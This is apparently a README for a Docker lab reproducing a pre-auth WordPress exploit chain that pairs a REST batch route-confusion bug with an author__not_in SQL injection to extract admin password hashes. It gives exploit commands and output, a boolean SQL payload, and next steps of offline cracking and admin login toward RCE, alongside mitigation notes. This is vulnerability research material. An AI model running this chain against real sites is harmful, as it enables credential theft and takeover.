
Docker-basiertes verwundbares WordPress-Labor mit Python-Exploit, der Pre-Auth-Routenverwechslung und SQL-Injection-Kette (CVE-2026-63030 + CVE-2026-60137) zur Extraktion von Zugangsdaten und RCE demonstriert.
| CVE | Komponente | Beschreibung |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: Desynchronisierung zwischen Validierung und Dispatch von Sub-Requests |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL-Injection, wenn der Wert ein String statt eines Arrays ist |
Verkettet ermöglichen sie einem Angreifer ohne jegliche Anmeldedaten, beliebiges SQL auszuführen (und in der vollständigen Sequenz bis zur RCE zu gelangen). Behoben in WordPress 6.9.5 und 7.0.2. Von der RCE-Kette betroffene Versionen: 6.9.0–6.9.4 und 7.0.0–7.0.1.
⚠️ Warnung: absichtlich unsichere Umgebung. Nur lokal, isoliert verwenden. Niemals im Internet exponieren. Der Exploit darf ausschließlich gegen dieses Lab (oder Systeme, für die du eine explizite Genehmigung hast) eingesetzt werden.
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
Das erstellt:
admin / SuperSecret123!victim / Victim_P@ss_2026 (zweiter Admin, Ziel der Hash-Extraktion)get_items() Zeilen zurückgibt)Bestätige die verwundbare Version:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Ausgabe (zusammengefasst):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Weitere Optionen:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
Der Exploit verwendet ausschließlich die Python-3-Standardbibliothek (keine Abhängigkeiten).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
Die Hashes müssen identisch mit den vom Exploit extrahierten sein (der niemals Zugriff auf die Datenbank hatte).
serve_batch_request_v1)In wp-includes/rest-api/class-wp-rest-server.php verwendet der Batch-Handler zwei parallele Arrays: $matches (zugeordnete Route/Handler) und $validation (Ergebnis der Validierung):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
Beim Dispatch wird der Handler per Index aus $matches[$i] gelesen, während $single_request und $validation[$i] dem vollständigen Index von $requests folgen. Ein Primer, der beim Parsen fehlschlägt ("///"), verschiebt alles in $matches um eine Position — eine Sub-Request wird also unter dem Handler einer anderen ausgeführt.
Das Batch-Schema akzeptiert nur die Methoden POST/PUT/PATCH/DELETE (GET wird mit rest_not_in_enum abgelehnt). Der Exploit umgeht das mit Batch im Batch:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier wird als create_item von Posts validiert (besteht: allow_batch=true, keine Pflichtparameter). Da er nicht als Batch validiert wird, entgeht sein body der Validierung des Methoden-Enums.carrier unter dem Handler /batch/v1 dispatched wird (von der 3. Sub-Request gestohlen) → serve_batch_request_v1 verarbeitet den rohen Body mit GET-Sub-Requests.Neuer interner Desync → die Request GET /wp/v2/users (mit nicht bereinigtem author_exclude) wird unter posts get_items() ausgeführt. Dort:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
Und der verwundbare Code in WP_Query (class-wp-query.php):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
Verwendetes Boolean-Payload: 0) AND (<condição>)-- -, wodurch das WHERE zu einem Orakel wird (Liste mit Posts = wahr; leere Liste = falsch). Zeichen-für-Zeichen-Extraktion per binärer Suche.
Hinweis: Der Pfad ist erreichbar, wenn kein persistenter Object Cache vorhanden ist (die Standardeinstellung des Labs), wie im Advisory beschrieben.
Dieses Lab validiert den Prä-Authentifizierungs-Teil (Route Confusion → SQLi → Hash-Leak), der das Herzstück der Kette ist. Die vollständige Sequenz aus dem Advisory fährt fort mit:
$wp$2y$... (bcrypt) offline knacken — hashcat -m 3200./wp-admin einloggen.author__not_in Ganzzahlen (wp_parse_id_list), auch wenn es ein String ist;/wp-json/batch/v1 filtert, die nicht authentifizierte REST API deaktivieren, Requests überwachen, deren author_exclude SQL enthält.docker compose down -v # remove containers + volumes (dados)